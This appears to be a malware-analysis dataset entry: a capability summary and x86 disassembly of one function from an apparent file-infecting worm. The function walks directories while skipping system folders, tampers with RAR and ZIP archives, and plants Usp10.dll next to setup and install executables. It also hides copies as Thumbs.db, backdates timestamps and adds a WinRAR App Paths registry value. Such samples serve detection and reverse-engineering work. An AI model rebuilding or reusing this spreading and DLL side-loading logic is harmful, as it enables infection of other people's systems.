Function at 0x10003ead
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Get file size
Persist via app paths registry key
Read file on windows
Set file attributes
Set registry value
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x1a34]
mov eax, 0x1ab4
call fcn.10012960
mov eax, dword [0x1002b0a0]
xor eax, ebp
mov dword [ebp + 0x1a30], eax
mov eax, dword [ebp + 0x1a44]
push ebx
mov ebx, dword [ebp + 0x1a3c]
push ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x78], eax
call fcn.100022b9
pop ecx
test eax, eax
je 0x1000476c
push esi
push edi
push 0x12c
xor edi, edi
lea eax, [ebp + 0x10d0]
push edi
push eax
call fcn.1000f9c0
add esp, 0xc
push 0x100
lea eax, [ebp + 0x10d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, 0x400
push esi
lea eax, [ebp + 0xd0]
push edi
push eax
call fcn.1000f9c0
push ebx
lea eax, [ebp + 0xd0]
push str._s.
push eax
call fcn.100118df
push 0x128
lea eax, [ebp - 0x58]
push edi
push eax
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x68], edi
call fcn.1000f9c0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp + 0xd0]
push eax
call fcn.10012faa
add esp, 0x2c
mov dword [ebp - 0x80], eax
mov ebx, 0x1002ca18
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x34]
push str.desktop
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
lea eax, [ebp - 0x34]
push str.system32
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
lea eax, [ebp - 0x34]
push str.recycler
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
lea eax, [ebp - 0x34]
push 0x10022d10
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
lea eax, [ebp - 0x34]
push str.documents_and_settings
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
lea eax, [ebp - 0x34]
push str.winnt
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
lea eax, [ebp - 0x34]
push str.windows
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
lea eax, [ebp - 0x34]
push eax
call fcn.100211bd
mov dword [ebp - 0x64], eax
lea eax, [ebp + 0x10d0]
push eax
call fcn.100211bd
push dword [ebp - 0x64]
push eax
call fcn.10011500
add esp, 0x10
test eax, eax
jne 0x10004744
test byte [ebp - 0x58], 0x10
lea eax, [ebp - 0x34]
jne 0x100046e1
cmp dword [0x1002d9f0], 3
jne 0x100042c4
push str..rar
push eax
call fcn.10011b80
lea eax, [ebp + eax - 0x38]
push eax
call fcn.100211bd
pop ecx
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x100040e5
lea eax, [ebp - 0x34]
push str..zip
push eax
call fcn.10011b80
lea eax, [ebp + eax - 0x38]
push eax
call fcn.100211bd
pop ecx
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
jne 0x10004744
push esi
lea eax, [ebp + 0x15fc]
push edi
push eax
call fcn.1000f9c0
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x5c]
lea eax, [ebp + 0x15fc]
push 0x10022cd0
push eax
call fcn.100118df
add esp, 0x1c
push edi
push 0x80
push 3
push edi
push 1
push connect
lea eax, [ebp + 0x15fc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x60], eax
cmp eax, 0xffffffff
je 0x10004744
lea ecx, [ebp - 0x64]
push ecx
push eax
mov dword [ebp - 0x64], edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 0x60]
mov dword [ebp - 0x7c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x7c]
and eax, 0xfff00000
cmp eax, 0xb00000
jae 0x10004744
cmp dword [ebp - 0x64], edi
jne 0x10004744
lea eax, [ebp + 0x15fc]
push 0x100226e0
push eax
call fcn.10012384
pop ecx
pop ecx
mov dword [ebp - 0x60], eax
cmp eax, edi
je 0x10004744
push 6
lea eax, [ebp + 0x1a28]
push edi
push eax
call fcn.1000f9c0
push 6
lea eax, [ebp + 0x1a20]
push edi
push eax
call fcn.1000f9c0
push dword [ebp - 0x60]
lea eax, [ebp + 0x1a28]
push 1
push 4
push eax
call fcn.10011f9e
push 2
push 0xfffffffffffffffb
push dword [ebp - 0x60]
call fcn.100134aa
push dword [ebp - 0x60]
lea eax, [ebp + 0x1a20]
push 1
push 5
push eax
call fcn.10011f9e
add esp, 0x44
push dword [ebp - 0x60]
call fcn.10011c82
pop ecx
push 4
lea eax, [ebp + 0x1a28]
push 0x10022cc8
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.1000fda5
add esp, 0xc
test eax, eax
je 0x1000422d
push 4
lea eax, [ebp + 0x1a28]
push str.rar_
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.1000fda5
add esp, 0xc
test eax, eax
jne 0x10004744
push 5
lea eax, [ebp + 0x1a20]
push str.a009
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.1000fda5
add esp, 0xc
test eax, eax
je 0x10004744
push 4
lea eax, [ebp + 0x1a28]
push str.rar_
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.1000fda5
add esp, 0xc
test eax, eax
lea eax, [ebp + 0x15fc]
push eax
jne 0x10004281
call fcn.10003a14
jmp 0x10004286
call fcn.10002723
pop ecx
lea eax, [ebp + 0x15fc]
push 0x10022cbc
push eax
call fcn.10012384
pop ecx
pop ecx
mov dword [ebp - 0x60], eax
cmp eax, edi
je 0x10004744
push eax
push 1
push 6
push 0x1002b044
call fcn.1001339e
push dword [ebp - 0x60]
call fcn.10011c82
add esp, 0x14
jmp 0x10004744
push str.winrar.exe
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
jne 0x10004333
lea eax, [ebp - 0x74]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionApp_PathsWinRAR.exe
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10004333
lea eax, [ebp - 0x74]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionApp_PathsWinRAR.exe
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10004333
push dword [ebp - 0x5c]
call fcn.10011b80
pop ecx
push eax
push dword [ebp - 0x5c]
push 1
push edi
push str.Path
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x32
jbe 0x10004343
mov dword [ebp - 0x68], 1
cmp dword [ebp - 0x6c], edi
jne 0x10004375
lea eax, [ebp - 0x34]
push str..exe
push eax
call fcn.10011b80
lea eax, [ebp + eax - 0x38]
push eax
call fcn.100211bd
pop ecx
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
jne 0x10004375
mov dword [ebp - 0x6c], 1
cmp dword [ebp - 0x68], edi
jne 0x100043ea
lea eax, [ebp - 0x34]
push str..dll
push eax
call fcn.10011b80
lea eax, [ebp + eax - 0x38]
push eax
call fcn.100211bd
pop ecx
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
jne 0x100043a9
mov dword [ebp - 0x68], 1
jmp 0x100043f4
lea eax, [ebp - 0x34]
push str.setup.exe
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x100043e3
lea eax, [ebp - 0x34]
push str.install.exe
push eax
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
jne 0x10004744
mov dword [ebp - 0x68], 1
cmp dword [ebp - 0x68], 1
jne 0x10004744
cmp dword [ebp - 0x6c], 1
jne 0x10004744
push 0x1002c380
call fcn.100211bd
pop ecx
push eax
push dword [ebp - 0x5c]
call fcn.100211bd
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
push 2
pop eax
push esi
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
lea eax, [ebp + 0x15fc]
push edi
push eax
call fcn.1000f9c0
push esi
lea eax, [ebp + 0x11fc]
push edi
push eax
call fcn.1000f9c0
push esi
lea eax, [ebp + 0x8d0]
push edi
push eax
call fcn.1000f9c0
push esi
lea eax, [ebp + 0xcd0]
push edi
push eax
call fcn.1000f9c0
push dword [ebp - 0x5c]
lea eax, [ebp + 0x15fc]
push eax
call fcn.10011a80
push dword [ebp - 0x5c]
lea eax, [ebp + 0x8d0]
push eax
call fcn.10011a80
add esp, 0x40
lea eax, [ebp + 0x15fc]
push 0x10022c3c
push eax
call fcn.10011a90
lea eax, [ebp + 0x8d0]
push str.Usp10.dll
push eax
call fcn.10011a90
push 0x21
lea eax, [ebp + 0x19fc]
push edi
push eax
call fcn.1000f9c0
add esp, 0x1c
lea eax, [ebp + 0x8d0]
push eax
mov dword [ebp - 0x64], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
lea eax, [ebp + 0x15fc]
push eax
jne 0x100044f8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100044e9
mov dword [ebp - 0x64], 1
jmp 0x10004518
lea eax, [ebp + 0x19fc]
push eax
lea eax, [ebp + 0x15fc]
jmp 0x10004510
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10004518
lea eax, [ebp + 0x19fc]
push eax
lea eax, [ebp + 0x8d0]
push eax
call fcn.10001d93
pop ecx
pop ecx
lea eax, [ebp + 0x19fc]
push eax
push 0x1002c878
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
cmp dword [0x1002d9f0], 2
jb 0x10004546
cmp dword [ebp - 0x64], 1
jne 0x10004744
push dword [ebp - 0x5c]
lea eax, [ebp + 0xcd0]
push eax
call fcn.10011a80
lea eax, [ebp + 0xcd0]
push str.Thumbss.db
push eax
call fcn.10011a90
push dword [ebp - 0x5c]
lea eax, [ebp + 0x11fc]
push eax
call fcn.10011a80
lea eax, [ebp + 0x11fc]
push str.Thumbs.db
push eax
call fcn.10011a90
add esp, 0x20
push edi
lea eax, [ebp + 0x11fc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
lea eax, [ebp + 0xcd0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp + 0x11fc]
push eax
call fcn.1001298b
lea eax, [ebp + 0xcd0]
push eax
call fcn.1001298b
lea eax, [ebp + 0x11fc]
push eax
lea eax, [ebp + 0x15fc]
push eax
call fcn.10013209
lea eax, [ebp + 0x11fc]
push eax
call fcn.1001298b
lea eax, [ebp + 0xcd0]
push eax
lea eax, [ebp + 0x8d0]
push eax
call fcn.10013209
lea eax, [ebp + 0xcd0]
push eax
call fcn.1001298b
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
je 0x1000461d
lea eax, [ebp + 0x8d0]
push eax
lea eax, [ebp + 0x15fc]
push eax
call fcn.10011a80
pop ecx
pop ecx
push 1
lea eax, [ebp + 0x15fc]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push edi
push 0x2000000
push 3
push edi
push 5
push 0xc0000000
lea eax, [ebp + 0x15fc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
push ebx
push eax
mov dword [0x1002cd4c], eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [0x1002cd4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x5c]
lea eax, [ebp + 0x11fc]
push eax
call fcn.10011a80
lea eax, [ebp + 0x11fc]
push str._setup.exe
push eax
call fcn.10011a90
add esp, 0x10
lea eax, [ebp + 0x11fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100046ab
push 6
lea eax, [ebp + 0x15fc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp + 0x11fc]
push str...install.exe
push eax
call fcn.10011a90
pop ecx
pop ecx
lea eax, [ebp + 0x11fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10004744
push 6
lea eax, [ebp + 0x15fc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x10004744
push 0x10022bf8
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
lea eax, [ebp - 0x34]
push 0x10022bf4
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10004744
push esi
lea eax, [ebp + 0x4d0]
push edi
push eax
call fcn.1000f9c0
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x5c]
lea eax, [ebp + 0x4d0]
push 0x10022bec
push eax
call fcn.100118df
push dword [ebp - 0x78]
lea eax, [ebp + 0x4d0]
push dword [ebp + 0x1a40]
push eax
call fcn.10003ead
add esp, 0x28
push 0x128
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.1000f9c0
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x80]
call fcn.100130da
add esp, 0x14
test eax, eax
je 0x10003f71
pop edi
pop esi
mov ecx, dword [ebp + 0x1a30]
xor ecx, ebp
pop ebx
call fcn.10011586
add ebp, 0x1a34
leave
ret